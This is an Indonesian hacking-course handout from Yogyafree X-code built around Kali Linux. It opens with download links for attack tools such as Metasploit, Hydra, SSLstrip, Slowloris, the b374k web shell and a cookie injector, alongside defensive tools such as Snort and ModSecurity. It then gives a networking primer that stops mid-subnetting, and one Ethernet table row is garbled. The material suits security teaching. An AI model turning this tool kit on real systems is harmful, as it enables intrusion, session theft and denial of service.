MODUL
PENDUKUNG TRAINING

Oleh Kurniawan
Founder Yogyafree X-code

http://xcode.or.id

Modul ini hanya untuk kalangan sendiri

Dilarang keras menggandakan atau melakukan fotokopi modul ini tanpa seijin X-code Training, badan usaha atau komunitas yang bekerja sama dengan X-code Training

Tidak semua materi training ada di modul ini, sebagian dari materi yang tidak ada di modul ini peserta perlu mencatat atau dibantu oleh trainer untuk disalinkan modul tambahan.

Training ini sebagian besar menggunakan OS linux dengan distro Kali Linux.

KALI LINUX

Kali Linux is a distribution based on the Debian GNU/Linux distribution aimed at digital forensics and penetration testing use. It was developed by Offensive Security as the successor to BackTrack Linux.

It includes support for the Metasploit Project's Metasploit Framework, a tool for developing and executing exploit code against a remote target machine. It also includes the security tools Wireshark, John the Ripper, Nmap and Aircrack-ng.

Kali is distributed in 32-bit and 64-images for use on hosts based on the x86 processor architecture, as well as an image for the ARM architecture for use on the Raspberry Pi computer and on Samsung's ARM Chromebook.

Program-program dan file-file yang dibutuhkan untuk pembelajaran

Program-program pendukung:

Virtualbox beserta Extension Pack

https://www.**virtualbox**.org/wiki/Downloads

XAMPP

https://www.apachefriends.org/index.html

RealVNC

https://www.realvnc.com/

Vmware Player

http://www.vmware.com/products/player/playerpro-evaluation.html

ActivePython

http://www.activestate.com/activepython/downloads

ActivePerl

http://www.activestate.com/activeperl

Filezilla

https://filezilla-project.org

Look@LAN

http://www.majorgeeks.com/files/details/looklan.html

Nmap

https://nmap.org

Hexwrite

http://hexwrite.soft112.com

Technitium MAC Address Changer

https://technitium.com/tmac

WinMD5Free

http://www.winmd5.com

Wireshark

https://www.wireshark.org/download.html

WinSCP

https://winscp.net/eng/docs/free_sftp_client_for_windows

Putty

http://www.putty.org

ISO Kali linux

https://www.kali.org/downloads

Cain

http://www.oxid.it/cain.html

Hydra

http://sectools.org/tool/hydra

Ettercap

http://ettercap.sourceforge.net/downloads.html

Metasploit

https://www.metasploit.com

Addon firefox : Fireforce

https://addons.mozilla.org/en-US/firefox/addon/fireforce

Addon firefox : Cookie Manager+

https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus

Addon Firefox : GreaseMonkey

https://addons.mozilla.org/en-US/firefox/addon/greasemonkey

Diakses setelah install GreaseMonkey Original Cookie Injector

http://userscripts-mirror.org/scripts/show/119798

Tamper data

https://addons.mozilla.org/en-US/firefox/addon/tamper-data

B374k

https://github.com/b374k/b374k

Immunity Debugger

https://www.immunityinc.com/products/debugger/

Mona.py

https://github.com/corelan/mona/blob/master/mona.py

Nessus

https://www.tenable.com/products/nessus-vulnerability-scanner

OpenVas

http://www.openvas.org/

Slowloris

https://github.com/llaera/slowloris.pl

TOR

https://www.torproject.org/

Dirbuster

https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project

Hackbar

https://addons.mozilla.org/en-us/firefox/addon/hackbar

John the ripper

http://www.openwall.com/john

PWDUMP

http://www.openwall.com/passwords/windows-pwdump

Netcat

http://nc110.sourceforge.net

Netcut

http://www.arcai.com/netcut

Wapiti

http://wapiti.sourceforge.net

Netcut

http://www.arcai.com/netcut

SSLstrip

https://moxie.org/software/sslstrip

Exploit-db Archive

https://github.com/offensive-security/exploit-database

SQLMap

http://sqlmap.org/

DVWA

http://www.dvwa.co.uk/

Maltego

https://www.paterva.com/web7/downloads.php

Program-program untuk pengamanan dan pengawasan

Kippo ~ SSH Honeypot

https://github.com/desaster/kippo

AntiLoris

https://sourceforge.net/projects/mod-antiloris

ModSecurity

https://modsecurity.org

Knockd

http://www.zeroflux.org/projects/knock

Snort

https://www.snort.org

ARPON

http://arpon.sourceforge.net

Bab 1
Dasar jaringan komputer

1.1 Jaringan Komputer

Jaringan komputer (jaringan) adalah sebuah sistem yang terdiri atas komputer-komputer yang didesain untuk dapat berbagi sumber daya, berkomunikasi, dan dapat mengakses informasi.

Tujuan dari jaringan komputer adalah agar dapat mencapai tujuannya, setiap bagian dari jaringan komputer dapat meminta dan memberikan layanan (*service*).

Pihak yang meminta/menerima layanan disebut *client* dan yang memberikan/mengirim layanan disebut *server*. Desain ini disebut dengan sistem client-server, dan digunakan pada hampir seluruh aplikasi jaringan komputer.

Dua buah komputer yang masing-masing memiliki sebuah kartu jaringan, kemudian dihubungkan melalui kabel maupun nirkabel sebagai medium transmisi data, dan terdapat perangkat lunak sistem operasi jaringan akan membentuk sebuah jaringan komputer yang sederhana. Apabila ingin membuat jaringan komputer yang lebih luas lagi jangkauannya, maka diperlukan peralatan tambahan seperti Hub, Bridge, Switch, Router, Gateway sebagai peralatan interkoneksinya.

Klasifikasi jaringan komputer terbagi menjadi :

- Berdasarkan geografisnya, jaringan komputer terbagi menjadi *Local Area Network (LAN), Area Network (MAN),* dan *Wide Area Network (WAN).*
    1. *Local Area Network (LAN)* merupakan jaringan milik pribadi di dalam sebuah gedung atau tempat yang berukuran sampai beberapa 1 - 10 kilometer. LAN seringkali digunakan untuk menghubungkan komputer-komputer pribadi dan stasiun kerja (workstation) dalam kantor suatu perusahaan atau pabrik-pabrik untuk memakai bersama sumberdaya misalnya *printer* dan saling bertukar informasi.
    2. Sedangkan *Metropolitan Area Network (MAN)* merupakan perluasan jaringan LAN sehingga mencakup satu kota yang cukup luas, terdiri atas puluhan gedung yang berjarak 10 - 50 kilometer. Kabel transmisi yang digunakan adalah kabel serat optik (Fiber Optic).
    3. *Wide Area Network (WAN)* merupakan jaringan antarkota, antar propinsi, antar negara, bahkan antar benua. Jaraknya bisa mencakup seluruh dunia, misalnya jaringan yang menghubungkan semua bank di Indonesia, atau jaringan yang menghubungkan semua kantor Perwakilan Indonesia di seluruh dunia. Media transmisi utama adalah komunikasi lewat satelit, tetapi banyak yang mengandalkan koneksi serat optik antar negara.
- Berdasarkan fungsi, terbagi menjadi Jaringan *Client-server* dan Jaringan *Peer-to-peer*.
    1. Jaringan *Client-Server* pada dasaranya ada satu komputer yang disiapkan menjadi *server* dari komputer lainnya yang sebagai *client*. Semua permintaan layanan sumberdaya dari komputer *client* harus dilewatkan ke komputer *serve*r, komputer *server* ini yang akan mengatur pelayanannya. Apabila komunikasi permintaan layanan sangat sibuk bahkan bisa disiapkan lebih dari satu komputer menjadi *server*, sehingga ada pembagian tugas, misalnya file-server, print-server, database server dan sebagainya. Tentu saja konfigurasi komputer *server* biasanya lebih dari konfigurasi komputer klien baik dari segi kapasitas memori, kapasitas cakram keras {harddisk), maupun kecepatan prosessornya.
    2. Sedangkan jaringan *peer to peer* itu ditunjukkan dengan komputer-komputer saling mendukung, sehingga setiap komputer dapat meminta pemakaian bersama sumberdaya dari

komputer lainnya, demikian pula harus siap melayani permintaan dari komputer lainnya. Model jaringan ini biasanya hanya bisa diterapkan pada jumlah komputer yang tidak terlalu banyak, maksimum 25 karena komunikasi akan menjadi rumit dan macet bilamana komputer terlalu banyak.

- Berdasarkan topologi jaringan, jaringan komputer dapat dibedakan atas: Topologi bus, Topologi bintang, Topologi cincin, Topologi mesh, Topologi pohon dan Topologi linier.
- Berdasarkan distribusi sumber informasi/data :
    1. Jaringan terpusat, Jaringan ini terdiri dari komputer *client* dan *server* yang mana komputer *client* yang berfungsi sebagai perantara untuk mengakses sumber informasi/data yang berasal dari satu komputer *server*.
    2. Jaringan terdistribusi, Merupakan perpaduan beberapa jaringan terpusat sehingga terdapat beberapa komputer *server* yang saling berhubungan dengan klien membentuk sistem jaringan tertentu.
- Berdasarkan media transmisi data.
    1. Jaringan berkabel (Wired Network) pada jaringan ini, untuk menghubungkan satu komputer dengan komputer lain diperlukan penghubung berupa kabel jaringan. Kabel jaringan berfungsi dalam mengirim informasi dalam bentuk sinyal listrik antar komputer jaringan.
    2. Jaringan nirkabel(Wi-Fi) merupakan jaringan dengan medium berupa gelombang elektromagnetik. Pada jaringan ini tidak diperlukan kabel untuk menghubungkan antar komputer karena menggunakan gelombang elektromagnetik yang akan mengirimkan sinyal informasi antar komputer jaringan.

Sumber : id.wikipedia.org - https://id.wikipedia.org/wiki/Jaringan_komputer

1.2 Protokol

Protokol adalah sebuah aturan atau standar yang mengatur atau mengijinkan terjadinya hubungan, komunikasi, dan perpindahan data antara dua atau lebih titik komputer. Protokol dapat diterapkan pada perangkat keras, perangkat lunak atau kombinasi dari keduanya. Pada tingkatan yang terendah, protokol mendefinisikan koneksi perangkat keras.

Sumber : id.wikipedia.org - https://id.wikipedia.org/wiki/Protokol_Resolusi_Alamat

1.3 ARP

Address Resolution Protocol sebuah protokol dalam TCP/IP Protocol Suite yang bertanggungjawab dalam melakukan resolusi alamat IP ke dalam alamat Media Access Control (MAC Address).

Sumber : id.wikipedia.org - https://id.wikipedia.org/wiki/Protokol_Resolusi_Alamat

1.4 Mac Address

Setiap perangkat terhubung ke jaringan memiliki alamat MAC yang unik, ditetapkan oleh produsen kartu jaringan. fungsinya adalah seperti yang alamat IP, karena dia berfungsi sebagai identifikasi unik sehingga memungkinkan perangkat untuk berbicara satu sama lain. Namun, lingkup sebuah alamat MAC yang terbatas untuk domain broadcast, yang terbatas hanya pada semua komputer yang terhubung pada kawat, hub, switch,

dan bridge, yang sama, tapi tidak melalui router atau gateway Internet. Alamat MAC tidak pernah digunakan secara langsung di Internet dan tidak dikirim melalui route.

Sumber : Buku Jaringan Wireless di Dunia Berkembang. http://wndw.net

Nama vendor	Alamat MAC
Cisco Systems	00 00 0C
Cabletron Systems	00 00 1D
International Business Machine Corporation	00 04 AC
3Com Corporation	00 20 AF
GVC Corporation	00 C0 A8
Apple Computer	08 00 07
Hewlett-Packard Company	08 00 09

Tabel beberapa pembuat kartu jaringan populer dan nomor identifikasi dalam MAC Address. Sumber : id.wikipedia.org - https://id.wikipedia.org/wiki/MAC_address.

1.5 Ethernet

Ethernet (bahasa Inggris: Ethernet) adalah keluarga teknologi jejaring komputer untuk jaringan wilayah setempat (LAN). Ethernet mulai merambah pasaran pada tahun 1980 dan dibakukan pada tahun 1985 sebagai IEEE 802.3. Ethernet telah berhasil menggantikan kabel teknologi LAN yang ikut bersaing lainnya.

Jenis-jenis Ethernet

Jika dilihat dari kecepatannya Ethernet terbagi menjadi empat jenis, yakni sebagai berikut:

- 10 Mbit/detik, yang sering disebut sebagai Ethernet saja (standar yang digunakan: 10Base2, 10Base5, 10BaseT, 10BaseF)
- 100 Mbit/detik, yang sering disebut sebagai Fast Ethernet (standar yang digunakan: 100BaseFX, 100BaseT, 100BaseT4, 100BaseTX)
- 1000 Mbit/detik atau 1 Gbit/detik, yang sering disebut sebagai Gigabit Ethernet (standar yang digunakan: 1000BaseCX, 1000BaseLX, 1000BaseSX, 1000BaseT).
- 10000 Mbit/detik atau 10 Gbit/detik. Standar ini belum banyak diimplementasikan.

Kecepatan	Standar	Spesifikasi IEEE	Nama
10 Mbit/detik	10Base2, 10Base5, 10BaseF, 10BaseT	IEEE 802.3	**Ethernet**
100 Mbit/detik	100BaseFX, 100BaseT, 100BaseT4, 100BaseTX	IEEE 802.3u	Fast Ethernet
1000 Mbit/detik	1000BaseCX, 1000BaseLX, 1000BaseSX, 1000BaseT	IEEE 802.3z	Gigabit Ethernet
10000 Mbit/detik	11mm/.II		

Cara kerja

Spesifikasi Ethernet mendefinisikan fungsi-fungsi yang terjadi pada lapisan fisik dan lapisan data-link dalam model referensi jaringan tujuh lapis OSI, dan cara pembuatan paket data ke dalam frame sebelum ditransmisikan di atas kabel.

Sumber : id.wikipedia.org - https://id.wikipedia.org/wiki/Ethernet

1.5 Hub

Hub Ethernet menghubungkan banyak peralatan Ethernet menjadi satu. Mereka bekerja di lapisan fisik (yang terendah atau lapisan pertama). Mereka mengulang sinyal yang diterima oleh setiap port ke semua port yang lain. Oleh karena itu hub akan dapat dianggap repeater sederhana. Karena desain ini hanya satu port yang mengirim data pada satu saat. Jika dua perangkat mengirimkan pada saat yang sama, mereka akan merusak data yang dikirim masing-masing, dan keduanya menunda (back off) untuk mengirim ulang kembali paket yang rusak. Hal ini dikenal sebagai tabrakan, dan setiap host tetap bertanggung jawab untuk mendeteksi tabrakan saat pengiriman data, dan mengirim ulang paket bila diperlukan.

Ketika masalah seperti tabrakan berlebihan terdeteksi pada sebuah port, beberapa hub dapat memutuskan (partisi) port untuk sementara waktu untuk membatasi dampaknya terhadap jaringan lainnya. Sementara port dipartisi perangkat yang terpasang ke port tersebut tidak dapat berkomunikasi dengan jaringan. Jaringan berbasis hub umumnya lebih reliable dibandingkan Ethernet berbasis coax (juga dikenal sebagai 10 base 2 atau ThinNet), di mana jika ada perangkat yang tidak baik dapat mematikan seluruh jaringan. Tetapi hub terbatas kegunaannya, karena hub dapat dengan mudah menjadi titik kemacetan di sebuah jaringan yang sibuk / padat.

Sumber : Buku Jaringan Wireless di Dunia Berkembang. http://wndw.net

1.6 Switch

Switch merupakan perangkat yang banyak beroperasi seperti hub, namun menyediakan sambungan khusus (atau switch) antar port. Tanpa mengirim ulang semua lalu lintas ke setiap port, switch dapat menentukan port yang saling berkomunikasi langsung dan menghubungkan antara kedua-nya saja. Switches umumnya akan memperoleh kinerja yang jauh lebih baik daripada hub, terutama pada jaringa yang sibuk dengan banyak komputer.

Switch tidak jauh lebih mahal dari hub, dan menggantikan hub dalam banyak situasi. Switch bekerja di lapisan data link (lapisan kedua), karena switch menginterpretasi dan bertindak atas alamat MAC pada paket yang mereka terima. Ketika sebuah paket tiba di port switch, switch akan mencatat alamat sumber MAC, yang berasosiasi dengan port tersebut.

Switch menyimpan informasi ini dalam sebuah tabel MAC internal. Switch kemudian terlihat sampai alamat tujuan MAC dalam tabel MAC, dan mengirimkan paket pada port yang cocok. Jika alamat MAC tujuan tidak ditemukan di MAC tabel, paket ini kemudian dikirim ke semua antarmuka yang terhubung. Jika port tujuan sama dengan port masuk paket, paket tersebut akan disaring dan tidak diteruskan.

Sumber : Buku Jaringan Wireless di Dunia Berkembang. http://wndw.net

Hub dianggap perangkat yang sederhana, karena hub secara tidak efisien membroadcast semua trafik ke setiap port. Kesederhanaan ini menyebabkan penalty dari sisi kinerja maupun keamanan. Secara keseluruhan kinerja menjadi lebih lambat, karena bandwidth yang tersedia harus dibagi antara semua port. Karena semua lalu lintas terlihat oleh semua port, semua host di jaringan dapat dengan mudah memantau seluruh lalu lintas jaringan.

Switch membuat sambungan virtual antara port penerima dan pengirim. Ini menghasilkan kinerja yang lebih baik karena banyak sambungan virtual dapat dibangun secara bersamaan. Switch yang lebih mahal dapat

men-switch trafik dengan menginspeksi paket di tingkat yang lebih tinggi (di lapisan aplikasi atau transport), memungkinkan pembuatan VLAN, melaksanakan dan fitur tingkat lanjutan lainnya.

Sebuah hub dapat digunakan jika butuhkan pengulangan traffik ke semua port misalnya, bila Anda ingin sebuah mesin melakukan pemantauan untuk melihat semua lalu lintas pada jaringan. Kebanyakan switch menyediakan fungsi untuk memonitor port yang memungkinkan pengulangan traffik dari sebuah port tertentu yang ditugaskan secara khusus untuk tujuan ini.

Sumber : Buku Jaringan Wireless di Dunia Berkembang. http://wndw.net

Gambar 3.11: Sebuah hub hanya mengulang semua trafik ke semua port, sementara switch akan membuat sambungan sementara antara port yang membutuhkan komunikasi (Sumber gambar : Buku Jaringan Wireless di Dunia Berkembang. http://wndw.net)

1.6 Routers dan Firewalls

Sementara hub dan switch menyediakan konektivitas pada segmen jaringan lokal, tugas sebuah router adalah untuk meneruskan paket antara segmen jaringan yang berbeda. Sebuah router biasanya memiliki dua atau lebih interface ke jaringan fisik. Router mungkin mendukung beberapa jenis media jaringan, seperti Ethernet, ATM, DSL, atau dial-up. Router dapat berupa perangkat keras khusus (seperti router Cisco atau Juniper) atau dapat dibuat dari sebuah PC standar dengan beberapa kartu jaringan dan software yang diperlukan.

Router dapat berada di tepi dari dua atau lebih jaringan. Sesuai definisi, router memiliki satusambungan untuk setiap jaringan, dan sebagai mesin perbatasan router dapat mengambil tanggung jawab lain serta routing. Banyak router yang memiliki kemampuan firewall menyediakan mekanisme untuk menyaring

atau redirect paket yang tidak sesuai dengan kebijakan keamanan atau persyaratan akses. Router dapat juga memberikan layanan Network Address Translation (NAT)

Sumber : Buku Jaringan Wireless di Dunia Berkembang. http://wndw.net

1.7 Model OSI

Standard internasional untuk Open Systems Interconnection (OSI) di definisikan dalam dokumen ISO/IEC 7498-1, yang dibuat oleh International Standards Organization dan International Electrotechnical Commission. Standard komplit-nya tersedia sebagai publikasi "ISO/IEC 7498-1:1994," yang dapat diambil dari http://standards.iso.org/ittf/PubliclyAvailableStandards/.

Berikut adalah catatan singkat ke tujuh lapisan model jaringan OSI :

Lapisan	Nama	Penjelasan
7	Aplikasi	Lapisan aplikasi adalah lapisan yang paling banyak di lihat / digunakan oleh pengguna jaringan. Pada lapisan ini interaksi dengan manusia dilakukan. HTTP, FTP, dan SMTP adalah contoh protokol di lapisan aplikasi. Manusia berada di lapisan ini dan berinteraksi dengan aplikasinya.
6	Presentasi	Lapisan presentasi berurusan dengan presentasi data, sebelum data mencapai lapisan aplikasi. Pekerjaan di lapisan ini dapat berupa MIME enkoding, kompresi data, pengecekan format, pengurutan byte dsb.
5	Sesi	Lapisan sesi mengatur sesi komunikasi secara logika (virtual) antara aplikasi. NetBIOS dan RPC adalah dua (2) contoh dari protokol di lapisan nomor lima.
4	Transport	Lapisan transport memberikan metoda untuk mencapai jasa tertentu di sebuah node di jaringan. Contoh protokol yang bekerja pada lapisan ini adalah TCP dan UDP. Beberapa protokol yang bekerja pada lapisan ini adalah TCP dan UDP. Beberapa protokol pada lapisan transport, seperti TCP, akan memastikan bahwa semua data tiba di tujuan dengan selamat, dan akan merakit, dan memberikan ke lapisan selanjutnya dalam urutan yang benar. Sementara UDP adalah sebuah protokol “connectionless” yang biasanya digunakan untuk streaming video dan audio.
3	Jaringan	IP (Internet Protocol) adalah protokol yang sering digunakan pada lapisan jaringan (lapisan network). Lapisan ini adalah lapisan di mana proses routing terjadi. Paket akan meninggalkan sambungan jaringan lokal dan di kirim ulang ke jaringan lain. Router menjalankan fungsi ini di sebuah jaringan dengan mempunyai paling tidak dua antar muka jaringan, satu untuk setiap jaringan agar dapat saling terinterkoneksi. Node di Internet dapat dihubungi melalui alamat IP mereka yang unik secara global. Sebuah protokol di lapisan jaringan (network) yang sangat penting adalah ICMP, yang merupakan protokol khusus yang memberikan berbagai berita manajemen jaringan yang dibutuhkan untuk operasi IP yang benar. Lapisan ini kadang kala di kenal sebagai lapisan Internet.
2	Data Link	Pada saat dua atau lebih node berbagi media fisik yang sama, contoh, beberapa komputer tersambung ke sebuah hub, atau sebuah ruangan yang penuh dengan peralatan wireless yang semua menggunakan kanal yang sama, maka mereka akan menggunakan lapisan data link untuk

		berkomunikasi satu sama lain. Contoh protokol data link yang sering digunakan adalah Ethernet, Token Ring, ATM, dan protokol jaringan wireless (802.11a/b/g). Komunikasi pada lapisan ini semua terjadi secara lokal, karena semua node yang tersambung pada lapisan ini berkomunikasi satu sama lain secara langsung. Lapisan ini kadang kala di kenal sebagai lapisan Media Access Control (MAC). Pada jaringan yang banyak kita gunakan menggunakan model Ethernet, node dikenali oleh alamat MAC mereka. Alamat MAC adalah nomor 48 bit yang unik yang di berikan ke semua peralatan / card jaringan pada saat dibuat.
1	Fisik	Lapisan fisik adalah lapisan paling bawah pada model OSI, biasanya mengacu pada media fisik di mana komunikasi terjadi. Lapisan fisik dapat berupa kabel LAN CAT5, sekumpulan kabel fiber optik, gelombang radio, pada dasarnya medium yang dapat digunakan untuk mengirimkan sinyal. Kabel yang terpotong, fiber rusak dan kerusakan radio adalah masalah yang terjadi di lapisan fisik.

Sumber : Buku Jaringan Wireless di Dunia Berkembang. http://wndw.net

TCP/IP adalah tumpukan protokol yang sangat banyak digunakan di Internet global. Akronim TCP/IP mempunyai arti Transmission Control Protocol (TCP) dan Protokol Internet (IP),tetapi sebetulnya merujuk pada keluarga protokol komunikasi terkait. TCP/IP juga dianggap sebagai sekumpulan protokol Internet , dan beroperasi pada lapisan ke tiga dan ke empatpada model TCP/IP.

Sumber : Buku Jaringan Wireless di Dunia Berkembang. http://wndw.net

Transmission Control Protocol (TCP)

Transmission Control Protocol (TCP) adalah suatu protokol yang berada di lapisan transpor (baik itu dalam tujuh lapis model referensi OSI atau model DARPA) yang berorientasi sambungan (connection-oriented) dan dapat diandalkan (reliable). TCP dispesifikasikan dalam RFC 793.

Sumber : https://id.wikipedia.org/wiki/Transmission_Control_Protocol

Berorientasi sambungan (*connection-oriented*): Sebelum data dapat ditransmisikan antara dua host, dua proses yang berjalan pada lapisan aplikasi harus melakukan negosiasi untuk membuat sesi koneksi terlebih dahulu. Koneksi TCP ditutup dengan menggunakan proses terminasi koneksi TCP (TCP connection termination).Connection-Oriented : adalah layanan komunikasi data yang membutuhkan pembangunan koneksi dan pemeliharaan koneksi selama layanan berlangsung.

Sumber : https://id.wikipedia.org/wiki/Transmission_Control_Protocol

User Datagram Protocol (UDP)

UDP, singkatan dari User Datagram Protocol, adalah salah satu protokol lapisan transpor TCP/IP yang mendukung komunikasi yang tidak andal (unreliable), tanpa koneksi (connectionless) antara host-host dalam jaringan yang menggunakan TCP/IP. Protokol ini didefinisikan dalam RFC 768.

Sumber : https://id.wikipedia.org/wiki/User_Datagram_Protocol

Seperti halnya TCP, UDP juga memiliki saluran untuk mengirimkan informasi antar host, yang disebut dengan UDP Port. Untuk menggunakan protokol UDP, sebuah aplikasi harus menyediakan alamat IP dan nomor UDP Port dari host yang dituju.

Sumber : https://id.wikipedia.org/wiki/User_Datagram_Protocol

Nomor Port UDP	Digunakan oleh
53	Domain Name System (DNS) Name Query
67	BOOTP client (Dynamic Host Configuration Protocol [DHCP])
68	BOOTP server (DHCP)
69	Trivial File Transfer Protocol (TFTP)
137	NetBIOS Name Service
138	NetBIOS Datagram Service
161	Simple Network Management Protocol (SNMP)
445	Server Message Block (SMB)
520	Routing Information Protocol (RIP)
1812/1813	Remote Authentication Dial-In User Service (RADIUS)

Sumber Gambar https://id.wikipedia.org/wiki/User_Datagram_Protocol

Connectionless (tanpa koneksi): Pesan-pesan UDP akan dikirimkan tanpa harus dilakukan proses negosiasi koneksi antara dua host yang hendak berukar informasi.

Sumber : http://id.wikipedia.org/wiki/User_Datagram_Protocol

IP Address

Alamat IP (Internet Protocol Address atau sering disingkat IP) adalah deretan angka biner antara 32 bit sampai 128 bit yang dipakai sebagai alamat identifikasi untuk tiap komputer host dalam jaringan Internet. Panjang dari angka ini adalah 32 bit (untuk IPv4 atau IP versi 4), dan 128 bit (untuk IPv6 atau IP versi 6) yang menunjukkan alamat dari komputer tersebut pada jaringan Internet berbasis TCP/IP.

Sistem pengalamatan IP ini terbagi menjadi dua, yakni:

IP versi 4 (IPv4)

IP versi 6 (IPv6)

Sumber : https://id.wikipedia.org/wiki/Alamat_IP_versi_4

IP versi 4 (IPv4)

Alamat IP versi 4 (sering disebut dengan Alamat IPv4) adalah sebuah jenis pengalamatan jaringan yang digunakan di dalam protokol jaringan TCP/IP yang menggunakan protokol IP versi 4. Panjang totalnya adalah 32-bit, dan secara teoritis dapat mengalamati hingga 4 miliar host komputer atau lebih tepatnya 4.294.967.296 host di seluruh dunia, jumlah host tersebut didapatkan dari 256 (didapatkan dari 8 bit) dipangkat 4(karena terdapat 4 oktet) sehingga nilai maksimal dari alamt IP versi 4 tersebut adalah 255.255.255.255 di mana nilai dihitung dari nol sehingga nilai nilai host yang dapat ditampung adalah 256x256x256x256=4.294.967.296 host, bila host yang ada di seluruh dunia melebihi kuota tersebut maka dibuatlah IP versi 6 atau IPv6. Contoh alamat IP versi 4 adalah 192.168.0.3.

Sumber : https://id.wikipedia.org/wiki/Alamat_IP_versi_4

IP versi 6 (IPv6)

Alamat IP versi 6 (sering disebut sebagai alamat IPv6) adalah sebuah jenis pengalamatan jaringan yang digunakan di dalam protokol jaringan TCP/IP yang menggunakan protokol Internet versi 6. Panjang totalnya adalah 128-bit, dan secara teoritis dapat mengalamati hingga 2128=3,4 x 1038 host komputer di seluruh dunia. Contoh alamat IPv6 adalah 21da:00d3:0000:2f3b:02aa:00ff:fe28:9c5a.

Sumber : https://id.wikipedia.org/wiki/Alamat_IP_versi_6

Kriteria	Alamat IP versi 4	Alamat IP versi 6
Panjang alamat	32 bit	128 bit
Jumlah total host (teoritis)	2^{32}=±4 miliar host	2^{128}
Menggunakan kelas alamat	Ya, kelas A, B, C, D, dan E. Belakangan tidak digunakan lagi, mengingat telah tidak relevan dengan perkembangan jaringan Internet yang pesat.	Tidak
Alamat multicast	Kelas D, yaitu **224.0.0.0/4**	Alamat *multicast IPv6*, yaitu **FF00:/8**
Alamat *broadcast*	Ada	Tidak ada
Alamat yang belum ditentukan	**0.0.0.0**	**::**
Alamat *loopback*	**127.0.0.1**	**::1**
Alamat IP publik	Alamat IP publik IPv4, yang ditetapkan oleh otoritas Internet (IANA)	Alamat IPv6 *unicast global*
Alamat IP pribadi	Alamat IP pribadi IPv4, yang ditetapkan oleh otoritas Internet	Alamat IPv6 *unicast site-local* (FEC0::/48)
Konfigurasi alamat otomatis	Ya (APIPA)	Alamat IPv6 *unicast link-local* (FE80::/64)
Representasi tekstual	*Dotted decimal format notation*	*Colon hexadecimal format notation*
Fungsi Prefiks	*Subnet mask* atau panjang prefiks	Panjang prefiks
Resolusi alamat DNS	*A Resource Record* (*Single A*)	*AAAA Resource Record* (*Quad A*)

Sumber capture : https://id.wikipedia.org/wiki/Alamat_IP_versi_4

IP PUBLIK

Alamat IP secara global dialokasikan dan di distribusikan oleh Regional Internet Registrar (RIR) ke ISP. ISP kemudian memberikan blok IP yang lebih kecil kepada pelanggan mereka sesuai keperluan. Sebenarnya semua pemakai Internet mendapatkan alamat IP mereka dari ISP.

Sumber : Buku Jaringan Wireless di Dunia Berkembang. http://wndw.net

Ke-4 milyar alamat IP yang tersedia di atur oleh Internet Assigned Number Authority (IANA, http://www.iana.org/). IANA sudah membagi alamat IP ini ke dalam subnet besar, biasanya subnet /8 dengan 16 juta alamat masing-masing. Subnet ini di delegasikan ke satu dari lima Regional Internet Registrar (RIR) yang diberi kekuasaan untuk wilayah geografis yang besar.

Sumber : Buku Jaringan Wireless di Dunia Berkembang. http://wndw.net

Otoritas untuk mengalokasi alamat Internet IP di delegasikan ke lima Regional Internet Registrar

Ke lima RIR adalah:

- African Network Information Centre (AfriNIC, http://www.afrinic.net/)
- Asia Pacific Network Information Centre (APNIC, http://www.apnic.net/)
- American Registry for Internet Numbers (ARIN, http://www.arin.net/)
- Regional Latin-American and Caribbean IP Address Registry (LACNIC,
- http://www.lacnic.net/)

- Réseaux IP Européens (RIPE NCC, http://www.ripe.net/)

Sumber : Buku Jaringan Wireless di Dunia Berkembang. http://wndw.net

Alamat IP statik adalah sebuah pemberian alamat yang tidak pernah berubah. Alamat IP statik penting karena server memakai alamat IP ini dan mungkin mempunyai pemetaan DNS menunjuk kepada server tersebut, dan biasanya memberikan informasi kepada mesin lain (seperti email server, web server, dll) Blok alamat IP statik mungkin diberi oleh ISP anda, baik dengan permintaan atau otomatis bergantung pada cara anda hubungan ke Internet.

Sumber : Buku Jaringan Wireless di Dunia Berkembang. http://wndw.net

Alamat IP dinamik diberikan oleh ISP untuk node yang tidak permanen terhubung ke Internet, seperti komputer di rumah komputer yang menggunakan sambungan dial-up. Alamat IP dinamik diberi secara otomatis menggunakan protokol Dynamic Host Configuration Protocol (DHCP), atau Point-to-Point Protocol (PPP), bergantung pada tipe sambungan Internet. Node yang menggunakan DHCP terlebih dulu meminta alamat IP dari jaringan, dan otomatis mengkonfigurasi antar muka jaringannya.

Sumber : Buku Jaringan Wireless di Dunia Berkembang. http://wndw.net

Subnet

Dengan memakai masker subnet / subnet mask (juga disebut masker jaringan, atau netmask) ke sebuah alamat IP, anda secara logis dapat mendefinisikan sebuah mesin atau jaringan tempat mesin tersebut berada. Secara tradisional, masker subnet diungkapkan menggunakan bentuk titik desimal, seperti alamat IP. Misalnya, 255.255.255.0 adalah sebuah netmask yang sering digunakan. Anda akan menemukan notasi ini dipakai waktu mengkonfigurasi antar muka jaringan, membuat rute, dll. Akan tetapi, masker subnet lebih ringkas diungkapkan menggunakan notasi CIDR, yang dengan sederhana memerinci jumlah bit di masker setelah tanda slash (/). Dengan demikian, 255.255.255.0 dapat di sederhanakan sebagai /24. CIDR adalah kependekan dari Classless Inter-Domain Routing, dan di definisikan di RFC15181.

RFC kependekan dari Request For Comments. RFC adalah sebuah serial dokumen bernomor yang dipublikasikan oleh Masyarakat Internet (Internet Society) yang mendokumentasikan ide dan konsep yang berhubungan tentang teknologi Internet. Tidak semua RFC berupa standard. RFC dapat dilihat secara online di http://rfc.net/.

Masker subnet menentukan ukuran sebuah jaringan. Menggunakan /24 netmask, 8 bit digunakan untuk mengalamati mesin (32 bit total - 24 bit netmask = 8 bit untuk mesin). Hal ini menghasilkan 256 alamat mesin yang mungkin (2^8 = 256). Berdasarkan kesepakatan, nilai pertama diambil sebagai alamat jaringan / network address (.0 atau 00000000), dan nilai terakhir di ambil sebagai alamat broadcast / broadcast address (,255 atau 11111111). Hal ini menyisakan 254 alamat yang dapat dibagi untuk mesin di jaringan ini. Masker subnet beroperasi dengan melakukan operasi logik AND sampai jumlah sebanyak 32 bit nomor IP. Di bilangan biner notasi, bit "1" di mask menunjukkan bagian alamat jaringan, dan bit "0" menunjukkan bagian alamat mesin. Logik AND

dilakukan dengan membandingkan dua bit. Hasil "1" diperoleh jika kedua bit yang dibandingkan ialah “1”. Jika tidak maka

hasilnya adalah “0”. Berikut adalah semua hasil yang mungkin dari pembandingan AND antara dua bit.

Bit 1	Bit 2	Hasil
0	0	0
0	1	0
1	0	0
1	1	1

Untuk mengerti bagaimana netmask digunakan ke alamat IP, kita lebih baik terlebih dulumengubah setiap angka ke biner. Netmask 255.255.255.0 di biner berisi dua puluh empat "1" bit:

255 255 255 0

